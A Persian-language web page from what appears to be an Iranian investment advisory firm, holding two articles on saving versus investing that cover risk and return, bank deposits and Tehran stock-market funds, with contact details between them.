همچنین وقتی پول خود را سرمایه گذاری می‌کنید، بازده شما عمدتاً به بالا رفتن یا پایین آمدن ارزش سرمایه گذاریتان در طول زمان بستگی پیدا می کند که البته ریسکی را هم در پی خواهد داشت. در ارتباط با سرمایه گذاری هم باید این موضوع را در نظر بگیرید که شما باید برای آموزش خود و شناخت ابزاری که می خواهید در آن سرمایه گذاری کنید، برنامه ای داشته باشید. اگر میخواهید وارد بازار طلا، بورس یا ارزهای دیجیتال شوید حتما باید دانش کافی در مورد هر یک از این بازارها را به دست آورید و بعد اقدام به سرمایه گذاری کنید.

نتیجه گیری

به عنوان نتیجه گیری، لازم است شما قبل از ورود به دنیای بورس و سرمایه گذاری در سهام مفهوم اساسی و زیربنایی مرتبط با این بازار را به طور کامل بفهمید و درک کنید و آن مفهوم زیربنایی همان مفهوم ریسک و بازده در بازارها است. درواقع بازده بالاتر مستلزم ریسک بیشتر است و اگر شما علاقه مندید سود بیشتری کسب کنید باید ریسک بیشتری را هم متقبل شوید.

بورس جایی است که ممکن است نه تنها در آن سودی نکنید بلکه ممکن است بخش قابل توجهی از سرمایه خود را نیز از دست بدهید. از طرف دیگر ممکن است سود سالانه 20 درصدی که از بانک دریافت میکنید، در مدت چند روز به دست آورید.

از طرفی علم به اینکه شما با شناخت بیشتر بازارها میتوانید ریسک سرمایه گذاری در این بازارها را تا حد زیادی کاهش دهید، شاید به شما کمک کند تا با خیال آسوده تری به سراغ سرمایه گذاری در بورس یا هر بازار دیگری بروید.

برای مثال من شناخت زیادی از ارزهای دیجیتال و نحوه معامله آنها را ندارم. به همین دلیل سرمایه گذاری در بیتکوین برای من فعالیت پر ریسکی است. اما چون بازار بورس را به طور کامل میشناسم و شناخت کافی از سهام و نحوه ارزشگذاری شرکتها دارم، ریسک سرمایه گذاری در این بازار برای من بسیار پایین است. از طرفی سپرده گذاری در بانک، بیمه عمر و صندوقهای با درآمد ثابت را نیز بسیار پرخطر و کم بازده می دانم.

بنابراین اگر بخواهیم تفاوت بین پس انداز کردن در بانک و سرمایه گذاری در بورس یا هر بازار دیگری را در دو واژه خلاصه کنیم، آن دو واژه یکی ریسک است و دیگری بازده.

چند پیشنهاد برای مدیریت ریسک و بازده و سرمایه گذاری در سهام

فرض کنیم شما مبلغ 10 میلیون تومان وجه نقد دارید و قصد دارید این پول را در یک سپرده بلندمدت بانکی بگذارید و ماهیانه مبلغی سود دریافت کنید. حتما می دانید نرخهای بلندمدت یکساله در تابستان 99 چیزی حدود 16 تا 18 درصد است. اگر بخواهید قبل از سررسید پول خود را دریافت کنید، مشمول جریمه میشوید. لذا این گزینه چندان گزینه جذابی نیست و ما آن را به شما پیشنهاد نمی کنیم.

بیایید در مورد گزینه های جایگزین جذابتر با هم صحبت کنیم.

گزینه مناسب برای افراد ریسک گریز

اگر شما نمیخواهید ریسک کنید، میتوانید واحدهای صندوقهای سرمایه گذاری با درآمد ثابت را بخرید و پولتان را در این صندوق ها بگذارید. با نگاهی به لیست صندوقهای سرمایه گذاری با درآمد ثابت در وب سایت شرکت مدیریت فناوری بورس تهران، میبینیم که این صندوق ها طی 365 روز گذشته چیزی حدود 19 تا 80 درصد بازدهی عاید سرمایه گذاران خود کرده اند. بالاتر از نرخ بازده سپرده های بانکی یکساله!! و بدون جریمه و با نقدشوندگی مناسب و بالا!! این صندوقها میتوانند گزینه مناسبی برای افراد ریسک گریز باشد. لیست این صندوقها را در زیر برای شما می گذارم:

گزینه مناسب برای سرمایه گذاران با ریسک متوسط

اگر فرض کنیم که ریسک متوسط یعنی کمی درآمد ثابت و کمی درآمد متغیر و سهام. برای فردی که نمیخواهد خود را درگیر این مباحث کند سرمایه گذاری در صندوقهای مختط مناسب است. این صندوقها حدود 40 تا 60 درصد دارایی های خود را در اوراق با درآمد ثابت قرار میدهند و 40 تا 60 درصد باقی مانده را هم در سایر دارایی ها و عمدتا در سهام بورسی سرمایه گذاری می کنند. بیایید ببینیم بازده این صندوقها در 365 روز گذشته چقدر بوده است. ابتدا نگاهی به لینک زیر بیندازید:

می بینیم که این صندوق ها توانسته اند بین 160 تا 500 درصد بازدهی بسازند و این برای ریسک متوسط فوق العاده است. حالا بیایید ببینیم اگر بیشتر ریسک میکردیم چقدر میتوانستیم بازده کسب کنیم.

گزینه مناسب برای سرمایه گذاران ریسک پذیر

صندوقهای سهامی که کلیه دارایی های خود را در سهام سرمایه گذاری میکنند طی سالهای 97 تا تابستان 99 که این مقاله نوشته میشود توانسته اند بازده بسیار عالی برای سهامداران و سرمایه گذاران خود کسب کنند. حالا ببینیم این بازده چقدر بوده است؟

همانطور که در لینک بالا میبینید حداقل بازدهی که یک صندوق طی 365 روز گذشته کسب کرده چیزی حدود 300 درصد و حداکثر آن 800 درصد بوده است.

حالا این اعداد و ارقام را با 16 تا 18 درصد بانک مقایسه کنید. آیا همچنان سپرده گذاری در بانک کم ریسک، جذاب و اغواکننده به نظر میرسد؟ بعید میدانم.

فارغ از اینکه بازار بورس طی سه سال گذشته به خصوص سال 99 رشد بسیار بزرگی را تجربه کرد، سرمایه گذاری در این بازار و با دید میان مدت و بلند مدت همیشه بازده بالاتری را نسبت به بانک عاید شما می کند.

چند نکته تکمیلی در مورد سرمایه گذاری در صندوقها

یک. برای سرمایه گذاری در صندوقها لازم است به وب سایت هر صندوق مراجعه کنید و نحوه سرمایه گذاری و خرید و فروش واحدهای سرمایه گذاری هر صندوق را مشاهده کنید و بعد اقدام به خرید کنید.

دو. ممکن است در زمانیکه این مقاله را میخوانید نرخ بازدهی ها تغییر کرده باشند. بنابراین عمدا لینک دسترسی به اطلاعات به روز را در اختیار شما قرار دادم تا با مراجعه به منبع اصلی اطلاعات به روز شده را دریافت کنید.

سه. اگر دانش و وقت کافی برای حضور فعال در بازار بورس را ندارید، توصیه موکد من سرمایه گذاری غیر مستقیم در بورس از طریق همین صندوقهاست.

چهار. ETF ها هم هستند که واحدهای آن به طور مستقیم در بورس و از طریق سامانه آنلاین کارگزاری ها معامله میشود و اگر کد بورسی و دسترسی به سامانه معاملات دارید واحدهای این صندوقها را هم میتوانید خرید کنید.

منابع آموزشی مکمل برای پاسخ به سوال تفاوت پس‌انداز و سرمایه گذاری پس‌انداز و سرمایه گذاری پس انداز و سرمایه گذاری

اگر علاقه مندید در رابطه با مفهوم ریسک و بازده بیشتر مطالعه کنید، پیشنهاد میکنم، مقاله آموزشی تعادل ریسک و بازده در سرمایه گذاری را مطالعه کنید. در این مقاله آموزشی ما مفاهیم ریسک و بازده را به طور کامل برای شما شرح داده ایم و ابزار مقایسه ریسک و بازده سرمایه گذاری های مختلف را نیز در اختیار شما قرار داده ایم.

همچنین در مقاله آموزشی قانون الاکلنگ در بازار بورس نکات کوتاه و مفیدی را در مورد رابطه ریسک و بازده در بازار سهام توضیح داده ایم. از آنجا که این مفهوم جزو مفاهیم پایه ای و اولیه سرمایه گذاری در بورس است، بنابراین درک آن از اهمیت ویژه ای برخوردار است.

اما اگر با مفهوم ریسک پذیری آشنا نیستید بهتر است مقاله آموزشی ریسک پذیری یا تحمل ریسک به چه معناست؟ را بخوانید. در این مقاله آموزشی مفاهیمی چون ریسک پذیری و ریسک گریزی، افق زمانی در سرمایه گذاری، موقعیت شخصی و سبک سرمایه گذاری شما توضیح داده شده است.

همچنین در محصول آموزشی بایدها و نبایدهای سرمایه گذاری در بورس مفاهیم ریسک و بازده و اصولی که در سرمایه گذاری باید به آن توجه کنید، به طور کامل توضیح داده شده است.

پس‌انداز و سرمایه گذاری

دفتر مرکزی تهران

تهران انتهای خالد اسلامبولی نبش کوچه سی و هفتم وزراء شماره ۱۶۵ طبقه سوم

درخواست مشاوره

تماس با ما

021-88870641-3

ساعت کاری

• شنبه تا چهارشنبه 8 الی 16:30

دفتر مرکزی تهران

تهران انتهای خالد اسلامبولی نبش کوچه سی و هفتم وزراء شماره ۱۶۵ طبقه سوم

درخواست مشاوره

تماس با ما

021-88870641-3

ساعت کاری

• شنبه تا چهارشنبه 8 الی 16:30

پس انداز بهتر است یا سرمایه گذاری؟

نویسنده : admin دسته بندی : مقالات

اولین قدم در راه یک سرمایه‌گذاری موفق این است که با مفهوم سرمایه‌گذاری و پس‌انداز آشنا شویم و تفاوت و شباهت آن‌ها را بدانیم. در ادامه میزان پول خود را مشخص و بهترین بازار را شناسایی کنیم. حال اگر شما هم جزو آن دسته از افراد هستید که می‌خواهند بدانند پس انداز بهتر است یا سرمایه‌گذاری؟ ما در این مقاله به طور مفصل به این موضوع پرداخته‌ایم.

پس انداز چیست؟

پس انداز به ذخیره کردن پول، ملک، غذا یا هر چیز دیگر که در زندگی لازم است، گفته می‌شود. در تعریف عامیانه می‌توان گفت که پس انداز به مبلغ پولی گفته می‌شود که بعد از هزینه‌های ضروری باقی می‌ماند. پس انداز را می‌‍توان سرمایه‌گذاری کرد یا با آن کالا خرید. در تعریفی دیگر و به طور کلی پس انداز به پول مازاد در زندگی اطلاق می‌شود.
پس انداز کردن برای اولین بار از کشور انگلستان آغاز شد و با صنعتی شدن کشورهای اروپایی پس انداز کردن بسیار رواج پیدا کرد. اقتصاددانان با تشویق مردم به پس‌انداز نقش پر رنگی در این رویداد داشتند. گفتنی است که پس انداز در شرایط تورم بسیار دشوار است. در این شرایط تنها کسانی می‌توانند پس‌انداز کنند که در زندگی با احتیاط پول خرج کنند؛ تا در این میان مبلغی را پس انداز کنند.

پس انداز یا سرمایه گذاری

ممکن است با شنیدن پول به این فکر کنید که پس انداز بهتر است یا سرمایه‌گذاری؟ ما در ادامه به این سوال پاسخ خواهیم داد. با شنیدن اسم پس انداز اکثر مردم ایران به یاد بانک‌ها می افتند. در حقیقت بانک برای مردم ما یادآور پس‌انداز است در صورتی است که در کشورهای دیگر بانک جزو گزینه‌های آخر محسوب می‌شود.
امروزه شاهد این هستیم که افراد پول را پس انداز می‌کنند اما به درستی از آن استفاده نمی‌کنند و علاوه بر این که پس انداز برایشان فایده ندارد به نوعی باعث ضرر آن‌ها می‌شود. دلایلی برای پس انداز پول وجود دارد که در ادامه به این دلایل می‌پردازیم.

۱- آمادگی برای حوادث ناگهانی
۲- رسیدن به هدف‌های خود
۳- سرمایه‌گذاری
۴- ارتقای زندگی
۵- و …

در آغاز مردم پس انداز خود را نزد بانک‌ها نگه می‌داشتند و پس از آن روش‌های دیگری به وجود آمد و رواج پیدا کرد. مردم با اعتماد کردن به بانک‌ها و خدماتی که به آ‌ن‌ها ارائه می‌داد باعث گسترش بانک‌ها شدند. ممکن است این سوال پیش بیاید که پس انداز خوب است یا خیر؟
پس انداز در کشورهای پیشرفته نتیجه‌بخش است اما در کشورهای در حال توسعه یا سایر کشور ها نتیجه‌بخش نیست. در ادامه این مقاله قصد داریم تا چند مورد از راه‌های پس انداز را برای شما ذکر کنیم به طور مثال:

۱- از وسایل نقلیه عمومی استفاده کنید.
۲- خواسته و اهداف خودتان را اولویت‌بندی کنید.
۳- محصولات با تخفیف خریداری کنید.
۴- برای مکان‌های تفریحی از تور استفاده کنید.
۵- اجناس ارزان قیمت خریداری کنید.
۶- محصولات غیر ضروری را نخرید.
۷- کالاهایی که یکبار به آن نیاز دارید را اجاره کنید.

یکی دیگر از راه‌های پس انداز در ایران سپرده‌گذاری است. سپرده‌گذاری به وجهی گفته می‌شود که اشخاص حقیقی یا حقوقی به بانک یا موسسات می‌سپارند و در قبال آن سود دریافت می‌کنند. سپرده‌گذاری انواع مختلفی دارد که در زیر نام برده می‌شود.

۱- حساب جاری
۲- حساب قرض‌الحسنه
۳- حساب پس انداز
۴- حساب کوتاه مدت
۵- حساب بلند مدت

سرمایه‌گذاری چیست؟

سرمایه‌گذاری به معنی تخصیص دادن مبلغی پول برای کارهای آینده است. به طور کلی می‌توان گفت که سرمایه‌گذاری مبلغی است که برای خرید یا انجام کاری در نظر گرفته می‌شود. در حقیقت با سرمایه‌گذاری کردن منافعی را برای آینده خود ذخیره می‌کنید. زمانی هست که مبلغ پول مازادی دارید و با آن یک کالا خریداری می‌کنید و بعد از گذشت مدتی شاهد افزایش قیمت آن کالا هستید و حال می‌خواهید آن را بفروشید تا به عنوان سرمایه‌گذاری کوچکی از آن بهره ببرید. اما همیشه به این صورت نیست و ممکن است برعکس این قضیه باشد و ضرر کنید.
برای سرمایه‌گذاری بهتر است راه و روش این کار را بدانیم تا دچار ضررهای احتمالی نشویم و بتوانیم در زمان کوتاهی به سود برسیم. در ابتدا معنی لغوی این واژه را گفتیم اما این لغت در علم اقتصاد به معنای دارایی سهامی است که روز به روز بر ارزشش افزوده یا کاسته می‌شود. سرمایه‌گذاری در هر زمینه‌ای ممکن است صورت بگیرد و از رایج‌ترین این سرمایه‌گذاری‌ها می‌توان به خرید کالا، اوراق قرضه، مسکن، خودرو، بانک، خرید املاک در خارج از کشور، طلا، سکه، بورس و غیره اشاره کرد.
اگر سرمایه گذاری بدون تحلیل باشد می‌تواند ضرر آفرین باشد. باید توجه کرد که بین سفته و سرمایه‌گذاری تفاوت کمی وجود دارد. در ادامه قرار است به طور دقیق به انواع سرمایه‌گذاری بپردازیم.

۱- بورس
۲- طلا، سکه و بازار این دو
۳- خرید کالای فیزیکی
۴- سهام اوراق بهادار
۵- صندوق‌های سرمایه‌گذاری
۶- ارزهای دیجیتال
۷- و …

اخیرا شاهد رشد چشمگیر سرمایه‌گذاری در بازار ارزهای دیجیتال بودیم که این روش سرمایه‌گذاری هم اگر بدون اطلاعات و دانش باشد ممکن است ضرر آفرین باشد. از ویژگی‌های بارز این نوع سرمایه‌گذاری می‌توان به عدم محدودیت‌های زمانی و مکانی، غیر متمرکز بودن، عدم دخالت دولت و کشور، کارمزد کم، سرعت بالا، سودآوری زیاد اشاره کرد.
بهتر است به این نکته توجه کنید که هر سرمایه‌گذاری دارای ریسک کم یا زیاد است. پس بهتر است همه جوانب سرمایه‌گذاری را در نظر بگیرید و سپس اقدام کنید. شاید این سوال پیش بیاید که آیا می‌شود با پول کم هم سرمایه‌گذاری کرد یا خیر؟ بله می‌شود با پول کم هم سرمایه‌گذاری را آغاز کرد اما نمی‌شود انتظار داشت که به پول زیادی هم دست یافت.